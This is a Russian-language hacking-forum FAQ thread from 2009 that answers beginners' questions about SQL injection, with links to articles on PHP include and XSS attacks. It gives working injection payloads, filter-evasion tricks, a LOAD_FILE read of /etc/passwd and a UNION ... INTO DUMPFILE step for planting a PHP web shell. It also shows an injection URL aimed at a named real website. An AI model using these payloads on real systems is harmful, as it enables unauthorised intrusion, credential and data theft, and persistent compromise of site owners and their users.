Ответы на часто задаваемые вопросы + линки на статьи по SQL/XSS/PHP-инклуд

Discussion in 'Уязвимости' started by Kakoytoxaker, 3 Feb 2009.

  1. Kakoytoxaker

    Kakoytoxaker Elder - Старейшина

    Joined:
    18 Feb 2008
    Messages:
    1,038
    Likes Received:
    1,139
    Reputations:
    350
    Что это я тут понаписал. )
    Это ответы на часто задаваемые вопросы в ветке "Ваши вопросы по уязвимостям" 90% этих вопросов гоняется по кругу(кто смотрит тему, тот знает) и отвечать на них порядком поднадоело. Так-же хочу собрать все линки на статьи по багам SQL\XSS\PHP-инклуд в кучу, и сделать что-то вроде карты раздела.


    Поехали, вопросы

    Вопрос №1 Что это? (ну и далее линк , обычно с кавычкой на конце, пройдя по которому можно лицезреть ту или иную ошибку)
    Этот вопрос порядком поднадоел и впринципе некорректен, но задаётся с завидной регулярностью

    Если выводится ошибка, и в ней присутствует что то по базу/sql/mysql/mssql/PostgreSQL и т.д. или вываливается запрос, или функции вывода из базы, то это ошибка БД, и скорее всего будет возможность провести инъекцию.
    НО. Инъекция , это внедрение своего кода в запрос и иногда как раз внедрить его не получится, несмотря на ошибку базы. Как нам это определить. Вот некоторые примеры, которые я надеюсь помогут, и избавят от этого вопроса
    site.com/index.php?id=1
    Выводит страницу 1
    site.com/index.php?id=2-1(Выводит страницу 1)
    site.com/index.php?id=2(Выводит страницу 2)
    -------------------
    site.com/index.php?id=1*1(Выводит страницу 1)
    site.com/index.php?id=1*2(Выводит страницу 2)
    -------------------
    site.com/index.php?id=1+and+1=1(Выводит страницу 1)
    site.com/index.php?id=1+and+1=2(Выводит ошибку, или ничего не выводит, вобщем отличается от первого)
    -------------------
    Если эти примеры работают, то мы имеем SQL инъекцию.

    Подчёркиваю: инъекция, это именно возможность влиять на запрос, возможность внедрить в него что-то, а не просто ошибка базы.

    Хотелось-бы обратить внимание вот на какой момент. 90% скулей не доставляют хлопот и проводятся по шаблону но, имейте ввиду, что иногда параметры в запросе могут быть заключены в кавычки и скобки . И соответственно, для проведения инъекции запрос нужно будет подгонять под конкретный случай.Когда есть вывод ошибки, запрос можно увидеть(или увидеть ошибку , которая сообщит, что не так), а вот когда его нет, дело обстоит сложнее Я не смогу в рамках этого ФАКа привести все примеры, разумеется, но попробую сформулировать основной принцип. Страница которая выводится без всяких инъектов берётся за true, и при подстановке своего кода, нужно добиваться её вывода. Тоесть:
    site.com/index.php?id=1--true
    Прервём её комментарием
    site.com/index.php?id=1/*
    У нас должен быть тот-же вывод. Если его нет, значит мы отсекли своим комментарием какую-то нужную часть запроса. Для начала, попробуем другой комментарий(--,#)
    site.com/index.php?id=1--+
    Появился вывод, хорошо, значит будем использовать однострочный комментарий. Нет, пробуем скобку
    site.com/index.php?id=1)/* и т.д., думаю принцип понятен
    С кавычкой история немного другая. Если кавычка в запросе не нужна, то вам не удастся вывести страницу с её использованием, а вот если нужна, страница может выводиться нормально , как с ней, так и без неё. Вобщем эксперементируйте.
    site.com/index.php?id=1)/*
    site.com/index.php?id=1')--+
    site.com/index.php?id=1"/*
    site.com/index.php?id=1))--+

    и т.д.
    Если страница вывелась допустим при таком варианте:
    site.com/index.php?id=1')--+
    То и запрос будем составлять исходя из того, что параметр заключен в скобки и кавычки. Тоесть:
    site.com/index.php?id=1')+union+select+1,2,3--+

    Далее этим-же пунктом хотелось-бы обратить внимание на различия баз данных. При выводе ошибки внимательно смотрим на то, что нам пишут, и ищем в ошибке любое упоминание о БД (mysql/Access/InterBase/MSSQL/Oracle/sybase/PostgreSQL) это здорово упростит задачу и избавит от ненужных вопросов и разочарований
    Львиную долю занимает конечно MySql, но и другие базы встречаются

    Ниже приведу некоторые характерные функции или фразы, которые выводятся в ошибках и позволяют разпознать базу и линки на статьи по разным базам(Опознали базу, го читать статью :))

    PostgreSQL(Префикс pg_)
    Функции:
    pg_exec()
    pg_numrows()
    pg_query()
    pg_fetch_array()

    и т.д.
    Статья:
    Проведение SQL-Injection в PostgreSQL
    Автор Spyder

    Access пишет что-то такое:
    [Microsoft][ODBC Microsoft Access Driver]
    или
    Microsoft JET Database Engine error
    Статья:
    Проведение SQL инъекций в Microsoft Access
    Автор [53x]Shadow

    MS SQL
    [Microsoft][ODBC SQL Server Driver]
    Статья:
    Проведение инъекций в MSSQL сервере от Microsoft
    Автор [ cash ]

    InterBase\Firebird
    ibase_query()
    ibase_fetch_object()
    ibase_free_result()
    ibase_fetch_row()

    Статья:
    Заметка по Firebird SQL injection
    Автор l1ght

    Oracle
    ORA-01756
    (И вообще всякие ORA)

    Статья:
    Проведение SQL инъекций в Oracle
    Автор [53x]Shadow

    Sybase
    Sybase error
    sybase_query()
    sybase_num_rows()

    Статья:
    Проведение SQL инъекций в Sybase ASE
    Автор ~!DoK_tOR!~

    Ну и конечно наш любимый MySql :
    Статьи:
    SQL injection полный FAQ
    Автор Dr.Z3r0
    SQL инъекция (в т.ч. и blind SQL)
    Автор kot777
    Эффективные Слепые Иньекции
    Автор Евгений Минаев
    Новая альтернатива Benchmark'y или эффективный blind SQL-injection
    Автор Elekt
    Быстрый Blind SQL Injection
    Автор Qwazar
    -----------------

    По скулям вроде-бы всё, если в ошибке присутствуют функции
    include()
    include_once()
    require()
    require_once()
    file()
    readfile()

    и т.п. Идем читать статьи по PHP инклудам:
    php injection
    Автор GreenBear
    TRUE PHP-injection
    Автор Zadoxlik
    PHP-include и способы защиты
    Автор _Pantera_
    [новый способ] замена нулл-байту в инклудах
    Автор [Raz0r]
    Логи и конфиги
    Default *log, *conf files locations
    respect ettee
    -----------------------------------------

    Вопрос №2 Вот так выводит , а вот так невыводит.
    site.com/index.php?id=1+union+select+1,2,3,4/*------------выводит
    site.com/index.php?id=1+union+select+1,version(),3,4/*----невыводит

    Господа, вывод у скули либо есть, либо нет, и если вы видите вывод цифры, но не видите версию или значние из столбца, то варианта 2 либо кодировка, либо тип данных не соответствует

    Кодировка:
    Может сопровождаться ошибкой такого плана:
    Code:
    Illegal mix of collations (latin1_swedish_ci,IMPLICIT) and (utf8_general_ci,SYSCONST)
    Illegal mix of collations (cp1251_general_ci,IMPLICIT) and (latin1_bin,IMPLICIT)
    Бороться с этим можно несколькими способами, но все они сводятся к одному и тому-же. Что-бы получить данные в нужной нам кодировке можно пользоваться либо функциями приведения типов:

    cast(Version()+as+binary)
    CONVERT(Version(),binary)
    convert(version()+using+latin1)
    convert(version()+using+binary)


    Либо шифровать/дешифровать данные. Результат при этом возвращается уже в "правильной" кодировке
    aes_decrypt(aes_encrypt(Version(),1),1)
    unhex(hex(version()))


    пример, можете поэксперементировать с разными функциями:
    http://www.oceanworld.com.au/page.asp?id=-8+union+select+1,cast(version()+as+binary),3,4,5,6,7,8,9,10,11,12,13,14+from+information_schema.tables--

    Несоответствие типа данных вам может встретится на БД отличных от MySql. MySql относится к типам данных достаточно лояльно, а вот другие БД в основном несоответствия не терпят. Если ваша база оказалась именно такой нужно ознакомится со статьями по проведению инъекций в Вашей базе.
    -------------------------------------------

    Вопрос №3 Не выводит значение из таблицы, а она есть , точно знаю )
    Обычно этот вопрос возникает на 5 ветке мускула, когда все таблицы выведены из information_schema, отсюда и уверенность, что таблица существует.
    Вариантов опять-же два
    Первый: таблица пустая
    Проверяется это элементарно, например так:
    union+select+1,2,count(*),4+from+user
    count(*) выводит количество записей в таблице, если вывело 0, таблица пустая
    либо для 5 ветки так
    union+select+1,table_rows+from+information_schema.tables+where+table_name='sasasa'
    Второй: Таблица в другой базе.
    В базе information_schema хранится информация обо всех таблицах и столбцах из всех баз, и есть вероятность того, что ваша таблица находится не в той базе с которой работает скрипт
    Проверяется так(5 ветка)
    table_schema+from+information_schema.tables+where+table_name='user', а база с которой работает скрипт выводится database(). Если базы разные, пробуем обратится к той которая нужна
    union+select+1,2,count(*),4+from+base.user (по аналогии с mysql.user)
    -------------------------------------------

    Вопрос №4 Не могу вывести данные (Вытекает из предыдущего)
    table_name='users' Ошибка
    Скорее всего magic_quotes_gpc = On , и соответственно кавычки слешируются
    И снова целых 2 варианта.
    Перевести название таблицы/колонки в hex или в CHAR, кому как нравится
    Для hex это выглядит так(добавляем к hex впереди 0x что-бы база поняла, что за данные мы ей втюхиваем):
    union+select+1,table_rows+from+information_schema.tables+where+table_name=0x7573657273
    для CHAR так:
    union+select+1,table_rows+from+information_schema.tables+where+table_name=char(117,115,101,114,115)
    Как видим обошлись без кавычек (сдесь table_name=users)
    Некоторые индивидумы умудряются загонять в хекс или чар вместе с кавычками, тоесть так 'users'=27757365727327, так делать ненадо, база этого не оценит )

    Вниманиеоператоры, функции, и т.д переводить в hex или char нельзя

    Онлайн кодировщики:
    Инструменты для шифрования/дешифрования данных
    encode_decode 0.8
    Base64 encode/decode
    Universal char SQL encoder by [53x]Shadow!
    TRANSLATOR, BINARY
    -------------------------------------------

    Вопрос №5 Подбираю столбцы ордером пишет(допустим) 2, делаю запрос union+select+1,2 ничего не выводит (выводит ошибку)
    Первое что нужно сделать в этом случае. проверить версию базы, например так:
    site.com/index.php?id=1+and+substring(version(),1,1)=3
    site.com/index.php?id=1+and+substring(version(),1,1)=4
    site.com/index.php?id=1+and+substring(version(),1,1)=5


    Если оказалось, что версия третья, то неудивительно. что вывода нет, оператор union введён с четвётой версии mysql. B этом случае читаем статьи по проведению инъекций в 3 ветке

    Если версия >=4 . или мы видим ошибку different number of columns это вовсе не означает, что вывода не будет.
    Вероятность найти вывод всё равно остаётся. По этой теме идём читать сюда:
    different number of columns
    с поста 79 и вниз со всеми комментариями
    --------------------------------------------
     
    #1 Kakoytoxaker, 3 Feb 2009
    Last edited: 13 Jan 2010
  2. Kakoytoxaker

    Kakoytoxaker Elder - Старейшина

    Joined:
    18 Feb 2008
    Messages:
    1,038
    Likes Received:
    1,139
    Reputations:
    350
    Вопрос №6 В скуле фильтруется ...(варианты)

    Ну тут тема очень обширная, но некоторые моменты всё-же достаточно распространены
    Сначала пробуем послать данные Постом(а вообще, всегда пробуем постом, т.к. палева в логах меньше), возможно пост не фильтруется.

    Если POST тоже фильтруется, рассматрваем варианты, но для начала выясняем, что именно фильтруется. Самый простой способ это попробовать вставить возможное выражение\символ в комментарий. Тоесть:
    a.php?id=1/*вот сюда вставляем*/
    И если такой запрос не обработается нормально, то это оно и есть

    Пробелы заменяем на +,/**/,%0D,%2B,%09,%0A,%20,%2B,$IFS
    а в подзапросах можно вообще без пробелов как-то так:
    php?a=(1)AND(lower(substring((SELECT(password)from(mysql.user)WHERE(user="user")),1,1))='b')
    php?a='1'AND(exists(select(1)from(SmallNu_users)where(ascii(lower(substring(user_id,1,1))))like(50)))and'1'<'2'


    "=" можно обойти с помощью like, IN, NOT IN

    Ну и различные фильтры операторов можно попробовать обойти записью в разных регистрах, бывает фильтрация регистрозависимая т.е. union фильтрует, а UnIon пропустит. Ну и подзапросы никто не отменял (Рекоммендую всем один раз в них разобраться, и потом будет значительно легче)
    ---------------------------------------------

    Вопрос №7 Помогите залить шелл через SQL
    Для этой процедуры необходимо выполнение некоторых условий

    1 file_priv (возможность чтения/записи файлов)
    Проверяется это так:
    union+select+file_priv+from+mysql.user+where+user='имя юзера'
    'имя юзера'- это имя того юзера под которым работает база, т.е. то, что выводится по запросу:
    union+select+user()
    но без хоста. Тоесть если вывело root@localhost, то юзер root
    Значения два, либо "Y"-повезло, либо "N", соответственно неповезло
    Можно не заморачиваться и сразу попробовать прочитать файл:
    union+select+LOAD_FILE('/etc/passwd')+from+mysql.user
    если вывело, нужные привелегии у вашего юзера есть

    2 Полный путь и папка на запись
    Путь ищем в разнообразных ошибках или читая конфиги,через Лоад-Файл. Линк на дефолтные конфиги я приводил выше.

    3 magic_quotes_gpc = Off
    Для того, что-бы шелл залился, синтаксис мускула требует писать путь в ковычках.

    Ну и наконец, если нам трижды повезло, льём например так:
    union+select+1,'<?php код вашего шелла ?>',3,4,5,6,7,8+into+DUMPFILE+'/путь/до/вашего/будующего/шелла/shell.php'/*
    или ещё варианты рассматриваются сдесь:
    Загрузка файл через mysql inj
    Автор [cash]
    и даже при magic_quotes_gpc = on , существует вероятность залиться, но для этого нужны 2 запроса к базе. Как это сделать описывается сдесь:
    Заливка через двойной запрос
    Автор Scipio
    ---------------------------------------------

    По XSS вопросов возникает меньше, но линки на темы всё-же приведу:
    Взлом чатов by Algol. Теория и Практика
    Автор Algol
    Особенности синтаксиса HTML
    Авторы Algol zFailure
    Использование UTF-7 в атаках класса XSS
    Автор Algol
    XSS крупным планом
    Автор Thesaurus
    Cross Site Scripting для новичков
    Автор _Pantera_
    Xss для новичков
    Автор Micr0b
    Темная сторона Xss
    Автор Constantine

    Важно Примеры SQL запросов приведены для базы MySql, в других базах синтаксис другой, читаем статьи.
    База information_schema, появилась в MySql =>5

    А то некоторые до сих пор умудряются писать , что доступ к шеме запрещён, на четвёртой ветке

    По мере поступления повторяющихся вопросов буду дополнять тему ответами

    Ну и наконец, если сдесь ответ на ваш вопрос не обнаружился, идём в тему
    Ваши вопросы по уязвимостям
    и задаём его там.
    С конструктивными предложениями по поводу FAQ обращайтесь в ЛС модераторам раздела

    закрыто (с)Const
     
    #2 Kakoytoxaker, 3 Feb 2009
    Last edited by a moderator: 16 Apr 2009
  3. ettee

    ettee Administrator
    Staff Member

    Joined:
    12 Oct 2006
    Messages:
    466
    Likes Received:
    1,036
    Reputations:
    1,065
    Способы компрометации и индефикации ПО:
    Передача заранее несуществующего параметра команде.
    Использовать произвольный порядок команд.
    Вызов команды без необходимого параметра.
    Передача программному обеспечению заведомо не существующей команды.
    Нарушение стандартного формата той или иной команды.
    Fuzzing методика.
     
    _________________________
    eminlayer7788 and Cthulchu like this.